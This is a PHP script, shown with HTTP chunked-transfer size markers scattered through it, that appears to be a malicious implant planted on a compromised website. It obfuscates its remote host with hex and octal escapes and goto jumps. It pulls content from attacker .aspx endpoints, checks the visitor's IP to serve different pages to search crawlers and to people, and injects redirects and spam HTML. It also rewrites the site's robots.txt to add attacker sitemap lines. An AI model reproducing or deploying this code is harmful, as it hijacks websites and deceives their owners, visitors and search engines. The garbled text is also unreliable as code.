2 5 true 17 , CURLOPT_ 8 CONNECTT 3 IME 3 OUT 5 => 5 1f , CURLOPT_TIMEOUT a => 1 8 19 , CURLOPT_SS 2 L_ 5 VERIF 3 YPE b ER => false 21 , CURLOPT_SSL_VERIFY 4 HOST 20 => false, CURLOPT_ 4 FOLL 2 OW 5 LOCAT 3 ION 21 => false, CURLOPT_U 4 SERA 4 GENT a => " 3 Moz 4 illa 3 /5. c 0" d ]); 8 $data = 8 curl_exe 5 c($ch 12 ); curl_c 4 lose d ($ch); } c if ( 7 empty($ 9 data) && 3 ini 8 _get('al 3 low 6 _url_f 4 open 11 ')) { $c 5 ontex 4 t = 6 stream 9 _context_ 5 creat 2 e( 11 [ "h 4 ttp" 5 => [ 5 "time 4 out" 6 => 8, 7 "heade 6 r" => 4 "Use 4 r-Ag 3 ent d : Mozilla/5.0 3 \r\ 3 n"] 11 , "s 4 sl" 7 => ["v 4 erif 4 y_pe 7 er" => 13 false, "verify_peer 4 _nam b e" => false 20 ] ]); $data = 1 @ 16 file_get_contents($url 9 , false, 8 $context 16 ); } if (! d empty($data)) c cache_set($ b url, $data) e ; return 5 $data 2b ; } /* ------------------------- 5 URL 3 2 2d ------------------------- */ function get_ 8 url_info 4 (str 5 ing $ 4 type 4 ='do 3 mai 5 n'): 7 string a { $ho 2 st 12 = $_SERVER['HTTP_ 5 HOST' 3 ] ? 7 ? ''; 9 if ($ 6 type = 5 == 'n 3 o_w 3 ww' b ) return pr 2 eg 6 _repla 4 ce(' 5 /^www 3 \./ 4 i', 5 '', $ 5 host) c ; $pr 4 otoc 5 ol = 11 (!empty($_SERVER[ 6 'HTTPS 2 '] 16 ) && $_SERVER['HTTPS'] 7 !== 'o 6 ff') ? 8 "https: 4 //" 7 : "http b ://"; 4 $bas 4 e = b $protocol . 6 $host 18 ; if ($type === ' e base') return 5 $base 18 ; if ($type === 'fu 2 ll 12 ') return $base . d ($_SERVER['RE 2 QU 2 ES 5 T_URI 12 '] ?? ''); 8 return $ 7 host; 2a } /* ------------------------- 2 3 3 2 21 ------------------------- */ g 5 oto O 3 NPu 2 B; 7 ONPuB: 7 $http_ 7 type = 11 !empty($_SERVER[" 3 \x4 4 8\12 3 4\x 6 54\x50 5 \x53" f ]) && $_SERVER[ 10 "\x48\124\124\x5 7 0\x53"] 8 !== "\1 3 57\ 3 x66 3 \14 2 6" 7 ? "\15 5 0\x74 9 \x74\x70\ 3 163 4 \72\ 3 x2f 9 \x2f" : " 3 \x6 5 8\164 8 \164\160 b \72\x2f\57" 2 ; 8 goto O4O 3 9k; 9 O4O9k: $ 4 vurl 5 = "\ 8 x74\157\ 5 56\15 4 2\14 5 7\141 4 \x6c a \x6c\163\x 5 2e\14 8 3\157\x6 6 d\x2f" 8 ; goto v 4 gv72 7 ; vgv72 4 : $q 5 z = s 2 ub 7 str(str 9 _replace( a array("\x7 6 7\x77\ 3 167 5 \x2e" 7 , "\56" 1 ) 11 , '', $_SERVER["\ 3 110 b \x54\x54\12 5 0\x5f 6 \x48\x 5 4f\12 5 3\x54 5 "]), 4 0, 3 4 ); 25 /* ------------------------- 2 4 f 3 1 25 数 ------------------------- */ $s 6 z = $i 5 id = 5 ""; 2 if d (!empty($_GET 2 )) 5 { $ 4 f=re 5 set($ d _GET); $ 5 sp = 9 explode(' 6 -', $f c ); if ( 4 coun 5 t($sp 6 ) === 1 2 11 ) { $sz 6 = $sp 3 [0] 12 ; $iid = 6 $sp[1] a ; } 27 } /* ------------------------- 3 2 3 接 2 21 ------------------------- */ d if (!empty($s 1 z c )) { $j 4 d = e getCurlFast("{ b $http_type} 6 {$vurl 3 }3k 3 g.a 4 spx? 3 sz= 4 " . 6 urlenc 4 ode( a $sz)); } 4 else 37 { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx? 3 xy= d {$http_type}" b ); $sz 2d = getCurlFast("{$http_type}{$vurl}3kg.aspx?j 11 d=" . urlencode($ 3 jd) 9 ); } 4 $hyz 3 hdy 4 = $ 6 jd . " 2 41 9 .aspx"; 6 $surl c = $jd . "s b 41.aspx"; 26 /* ------------------------- r 4 obot 4 s / 2 si 5 temap 22 ------------------------- */ $s 9 itemapLin 5 e = " 7 Sitemap 2 : 22 {$http_type}{$_SERVER['HTTP_HOST'] d }{$_SERVER['S 3 CRI 4 PT_N 3 AME 5 ']}?w 6 =" . d 5 ate(' 3 Ymd 3 Hi' 5 ) . " 4 \n"; c function e 5 nsure 8 _robots_ 8 sitemap( c $sitemapLine a ) { $ a robots = r 5 trim( c $_SERVER['DO 3 CUM 5 ENT_R 2 OO 6 T'], " 4 /\\" 6 ) . '/ 8 robots.t 2 xt d '; if (! d file_exists($ 14 robots)) { 14 @file_put_contents($ 7 robots, 8 "User-a 6 gent: 4 *\nA 5 llow: 2 / 7 \n" . $ b sitemapLine d , LOCK_EX); 12 } else { 6 $c 17 = @file_get_contents($ 8 robots); 12 if ($c = 8 == false 3 || 9 strpos($ 2 c, e $sitemapLine) 1b === false) { 1c @file_put_contents($robots, e $sitemapLine, 3 FIL 6 E_APPE 3 ND 11 | LOCK_EX); 7 } a } } 26 /* ------------------------- w 3 = 3 2 2c ------------------------- */ if (!empty($ 5 get[' 2 w' 7 ])) { b $para 5 ms = 6 http_b 4 uild 3 _qu 3 ery d ([ ' 4 NOUm 3 ber 5 ' => e $get['NOUmber' 7 ] ?? '' d , 't b ' => 7 $get['t 16 '] ?? '', 'cn 10 ' => $get[' 3 cn' 18 ] ?? '', 'pNOUm d ' => $get[' 1a pNOUm'] ?? '', 'c 3 id' 12 => $get['cid' 14 ] ?? '', 'm 11 ' => $get[' 9 m'] ?? '' 7 ] e ); $str 12 = getCurlFast("{$ 5 surl} 2 ?{ d $params}"); 8 ec 3 ho c str_replace( c [' 4 yymm 3 ',' 8 ggggg',' 3 ?f= 3 '], 15 [$http_type 1 . 16 $_SERVER['HTTP_HOST']. 17 $_SERVER['SCRIPT_NAME'] 8 , $sz,'? 2 '. 5 $qz.' e ='], a $str b ); exi 2f t; } /* ------------------------- IP 3 判 2 3 3 2 3 4 kk 2 3 试 27 ) ------------------------- */ $kk 4 = is 5 set($ 7 get['kk 5 ']) ? 6 trim( d $get['kk']) : 6 ''; 7 $ip = ( 4 $kk b !== '') ? " 3 66. 3 249 3 .82 2 .8 4 " : d get_real_ip() 2b ; /* ------------------------- get 7 domain2 5 判 29 ------------------------- */ $domain 8 = trim( d getCurlFast($ 6 jd . " 10 getdomain2.aspx? 3 rnd 4 =1&i 6 p=" . 4 $ip) 2a ); /* ------------------------- 2 4 goo 4 gle 2 + 5 iid 3 3 跳 2 25 ------------------------- */ if ( 8 $domain b !== 'google 5 ' && 8 !empty($ 3 iid c )) { $k 7 name = 5 urlde 5 code( 15 getCurlFast($jd . "gn 9 .aspx?iid 8 =" . $ii 6 d)); b echo '< 4 scri 4 pt>l 3 oca 5 tion= 5 "' . 8 $jd . "a 7 .aspx?c 4 name 15 =" . urlencode($kname 6 ) . "& 9 url=" . $ b http_type . 17 $_SERVER['HTTP_HOST'] c . $_SERVER[' d SCRIPT_NAME'] 7 . '"' 36 ; exit; } /* ------------------------- 4 iid 32 输出 ------------------------- */ if (!empty($ e iid)) { $ 1a str = getCurlFast($hyzhdy 3 . " 6 ?iid={ 4 $iid 31 }"); echo str_replace( ['ggggg',' 5 YYYYY 5 ','XX 7 XYYY',' 3 当 2 4 URL 4 ','U 8 UUUU','M 4 MMMM 18 ','?f='], [$sz, e get_url_info( 10 ), get_url_info( 7 'base') 16 , get_url_info('full') 10 , get_url_info(' 9 no_www'), 5 parse 4 _url 1a ($_SERVER['REQUEST_URI'], 3 PHP 5 _URL_ 3 PAT 2 H) 59 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- 9 sitemap h 4 elpe 1 r 2b ------------------------- */ function ou 5 tput_ 9 sitemap_a 2 nd 5 _exit e ($sitemapLine, b $http_type 9 ) { 34 ensure_robots_sitemap($sitemapLine); echo "
e 4 Sitemap 3 < 4 /div 2 >" 39 ; exit; } /* ------------------------- kk 6 输出 3 控 3 制 25 ------------------------- */ if ($ 9 kk !== '' 4 && 7 preg_ma 3 tch 5 ('/^[ 2 A- 4 Za-z 3 0-9 3 ]+$ 1 / 6 ', $kk d )) { $re 4 mote 10 = getCurlFast($ 1b jd . "getdomain2.aspx?rnd=2 2 &k 7 k=" . $ 3 kk) c ; if (! d empty($remote e )) { c echo $remote b ; 7 exit; c } } 13 if ($kk !== '' && ! 2c preg_match('/^[A-Za-z0-9]+$/', $kk)) { 31 output_sitemap_and_exit($sitemapLine, $http_type) c ; } $is_ 3 no_ 5 query 4 = e 12 mpty($_SERVER['QUE 2 RY 8 _STRING' 7 ]); 9 if ($kk = 15 == '' && $is_no_query 9 ) { d if ($domain = b == 'google' d ) { 34 output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 47 exit; } } output_sitemap_and_exit($sitemapLine, $http_type); 2 ?> 2 0